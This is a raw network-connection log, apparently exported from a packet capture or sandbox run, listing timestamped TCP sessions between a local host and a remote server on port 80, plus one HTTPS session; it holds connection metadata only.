Jul 4, 2024 20:35:30.384438992 CEST	80	49850	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:30.384697914 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:30.489826918 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:30.490207911 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:30.495081902 CEST	80	49850	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:30.495163918 CEST	80	49852	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:30.495213985 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:30.495244026 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:30.495556116 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:30.500452995 CEST	80	49852	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:31.208518982 CEST	80	49852	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:31.208599091 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:31.212968111 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:31.217988968 CEST	80	49852	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:31.436271906 CEST	80	49852	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:31.438409090 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:31.551387072 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:31.551795006 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:31.556458950 CEST	80	49852	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:31.556811094 CEST	80	49853	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:31.556890011 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:31.556919098 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:31.557123899 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:31.561945915 CEST	80	49853	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:31.564279079 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:31.567076921 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:31.571985006 CEST	80	49854	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:31.574804068 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:31.574955940 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:31.580569029 CEST	80	49854	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:32.309596062 CEST	80	49854	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:32.310798883 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:32.427408934 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:32.427753925 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:32.439749956 CEST	80	49854	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:32.439821959 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:32.440005064 CEST	80	49855	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:32.440094948 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:32.442142963 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:32.452795982 CEST	80	49855	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:33.159991026 CEST	80	49855	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:33.160166025 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:33.166788101 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:33.166801929 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:33.172352076 CEST	80	49856	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:33.172535896 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:33.172880888 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:33.173393011 CEST	80	49855	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:33.173441887 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:33.178045034 CEST	80	49856	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:33.887631893 CEST	80	49856	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:33.887829065 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:34.015705109 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:34.016005993 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:34.021584988 CEST	80	49857	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:34.021599054 CEST	80	49856	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:34.021688938 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:34.021706104 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:34.025320053 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:34.030548096 CEST	80	49857	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:34.751460075 CEST	80	49857	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:34.751521111 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:34.754379988 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:34.755074978 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:34.759844065 CEST	80	49857	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:34.759963036 CEST	80	49858	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:34.759979963 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:34.760025024 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:34.760157108 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:34.764991999 CEST	80	49858	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:35.221438885 CEST	49859	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:35:35.221472979 CEST	443	49859	142.250.186.164	192.168.2.4
Jul 4, 2024 20:35:35.221641064 CEST	49859	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:35:35.221875906 CEST	49859	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:35:35.221880913 CEST	443	49859	142.250.186.164	192.168.2.4
Jul 4, 2024 20:35:35.457681894 CEST	80	49858	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:35.457778931 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:35.569936037 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:35.570327044 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:35.575419903 CEST	80	49858	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:35.575470924 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:35.575750113 CEST	80	49860	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:35.575835943 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:35.576105118 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:35.580991983 CEST	80	49860	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:35.993916035 CEST	443	49859	142.250.186.164	192.168.2.4
Jul 4, 2024 20:35:35.994366884 CEST	49859	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:35:35.994385004 CEST	443	49859	142.250.186.164	192.168.2.4
Jul 4, 2024 20:35:35.994654894 CEST	443	49859	142.250.186.164	192.168.2.4
Jul 4, 2024 20:35:35.995090961 CEST	49859	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:35:35.995140076 CEST	443	49859	142.250.186.164	192.168.2.4
Jul 4, 2024 20:35:36.141901970 CEST	49859	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:35:36.303611994 CEST	80	49860	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:36.303669930 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:36.309806108 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:36.310240984 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:36.316001892 CEST	80	49861	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:36.316082954 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:36.316339970 CEST	80	49860	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:36.316387892 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:36.317172050 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:36.322448969 CEST	80	49861	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:37.186288118 CEST	80	49861	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:37.186352968 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:37.303016901 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:37.303318024 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:37.309225082 CEST	80	49861	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:37.309237003 CEST	80	49862	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:37.309293032 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:37.309320927 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:37.309618950 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:37.314572096 CEST	80	49862	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:38.154382944 CEST	80	49862	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:38.154447079 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:38.158271074 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:38.158838034 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:38.391619921 CEST	80	49862	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:38.391707897 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:38.392904043 CEST	80	49863	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:38.392961025 CEST	80	49862	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:38.393131971 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:38.393143892 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:38.393374920 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:38.400851011 CEST	80	49863	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:39.210676908 CEST	80	49863	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:39.210741997 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:39.317024946 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:39.317365885 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:39.322568893 CEST	80	49863	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:39.322621107 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:39.322917938 CEST	80	49864	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:39.322978020 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:39.323287964 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:39.328213930 CEST	80	49864	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:40.730973005 CEST	80	49864	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:40.731192112 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:40.731218100 CEST	80	49864	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:40.731261969 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:40.731621027 CEST	80	49864	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:40.731663942 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:40.734224081 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:40.734599113 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:40.739662886 CEST	80	49864	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:40.739702940 CEST	80	49865	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:40.739737034 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:40.739913940 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:40.740151882 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:40.745054007 CEST	80	49865	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:41.446388006 CEST	80	49865	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:41.446449995 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:41.552635908 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:41.552980900 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:41.558322906 CEST	80	49868	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:41.558420897 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:41.558512926 CEST	80	49865	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:41.559209108 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:41.561916113 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:41.567147017 CEST	80	49868	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:42.278971910 CEST	80	49868	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:42.279058933 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:42.284739971 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:42.285109997 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:42.290957928 CEST	80	49868	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:42.291014910 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:42.291419983 CEST	80	49869	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:42.291518927 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:42.291913033 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:42.297713041 CEST	80	49869	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:43.026335001 CEST	80	49869	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:43.026599884 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:43.130557060 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:43.130906105 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:43.135665894 CEST	80	49870	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:43.135720968 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:43.135792017 CEST	80	49869	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:43.135940075 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:43.135957003 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:43.140950918 CEST	80	49870	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:43.853832960 CEST	80	49870	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:43.854140043 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:43.857745886 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:43.858052015 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:43.863641977 CEST	80	49870	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:43.863831043 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:43.864393950 CEST	80	49872	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:43.864656925 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:43.864859104 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:43.870748997 CEST	80	49872	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:44.600991964 CEST	80	49872	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:44.601157904 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:44.712445021 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:44.719280958 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:44.719691992 CEST	80	49872	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:44.719739914 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:44.724594116 CEST	80	49873	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:44.726831913 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:44.726831913 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:44.732038021 CEST	80	49873	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:45.463965893 CEST	80	49873	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:45.464085102 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:45.467247963 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:45.467582941 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:45.473036051 CEST	80	49874	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:45.473280907 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:45.473283052 CEST	80	49873	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:45.473325968 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:45.473587036 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:45.478739977 CEST	80	49874	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:45.770693064 CEST	443	49859	142.250.186.164	192.168.2.4
Jul 4, 2024 20:35:45.770750046 CEST	443	49859	142.250.186.164	192.168.2.4
Jul 4, 2024 20:35:45.770822048 CEST	49859	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:35:46.172044992 CEST	80	49874	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:46.172103882 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:46.288505077 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:46.288886070 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:46.294080019 CEST	80	49875	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:46.294229031 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:46.294296980 CEST	80	49874	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:46.294348001 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:46.294495106 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:46.299314976 CEST	80	49875	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:47.016733885 CEST	80	49875	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:47.018848896 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:47.021656036 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:47.021991968 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:47.027156115 CEST	80	49875	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:47.027373075 CEST	80	49876	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:47.027431965 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:47.027466059 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:47.027668953 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:47.033399105 CEST	80	49876	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:47.753051043 CEST	80	49876	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:47.753190041 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:47.864034891 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:47.864353895 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:47.869281054 CEST	80	49876	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:47.869294882 CEST	80	49877	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:47.869340897 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:47.869368076 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:47.869509935 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:47.874655962 CEST	80	49877	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:48.616511106 CEST	80	49877	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:48.616583109 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:48.619891882 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:48.620223999 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:48.625756025 CEST	80	49878	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:48.625823021 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:48.626215935 CEST	80	49877	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:48.626267910 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:48.627835989 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:48.633718014 CEST	80	49878	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:49.367054939 CEST	80	49878	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:49.367117882 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:49.474107027 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:49.474658012 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:49.479499102 CEST	80	49878	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:49.479614973 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:49.479911089 CEST	80	49879	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:49.479995012 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:49.480267048 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:49.486089945 CEST	80	49879	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:50.200644016 CEST	80	49879	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:50.201050043 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:50.206423044 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:50.206715107 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:50.211630106 CEST	80	49879	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:50.211695910 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:50.211867094 CEST	80	49880	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:50.211925983 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:50.212413073 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:50.217293024 CEST	80	49880	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:50.930720091 CEST	80	49880	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:50.930809975 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:51.153223991 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:51.153536081 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:51.158390999 CEST	80	49881	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:51.158466101 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:51.158657074 CEST	80	49880	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:51.158715963 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:51.176230907 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:51.181036949 CEST	80	49881	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:51.906362057 CEST	80	49881	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:51.906501055 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:51.909861088 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:51.910161972 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:51.915859938 CEST	80	49882	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:51.915914059 CEST	80	49881	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:51.915982008 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:51.915997028 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:51.916280031 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:51.921113014 CEST	80	49882	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:52.635015011 CEST	80	49882	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:52.638854027 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:52.755763054 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:52.756139040 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:52.761006117 CEST	80	49882	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:52.761076927 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:52.761496067 CEST	80	49883	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:52.761871099 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:52.762129068 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:52.767604113 CEST	80	49883	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:53.470096111 CEST	80	49883	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:53.470169067 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:53.474122047 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:53.474541903 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:53.479509115 CEST	80	49884	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:53.479577065 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:53.479815960 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:53.479837894 CEST	80	49883	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:53.479983091 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:53.484951019 CEST	80	49884	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:54.176703930 CEST	80	49884	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:54.176769972 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:54.296008110 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:54.296375990 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:54.301305056 CEST	80	49885	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:54.301364899 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:54.301605940 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:54.301789999 CEST	80	49884	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:54.301832914 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:54.306509972 CEST	80	49885	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:55.019486904 CEST	80	49885	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:55.019542933 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:55.022234917 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:55.022634029 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:55.027571917 CEST	80	49885	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:55.027582884 CEST	80	49886	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:55.027621984 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:55.027650118 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:55.027920961 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:55.032689095 CEST	80	49886	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:55.724493980 CEST	80	49886	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:55.724546909 CEST	49886	80	192.168.2.4	77.91.77.82
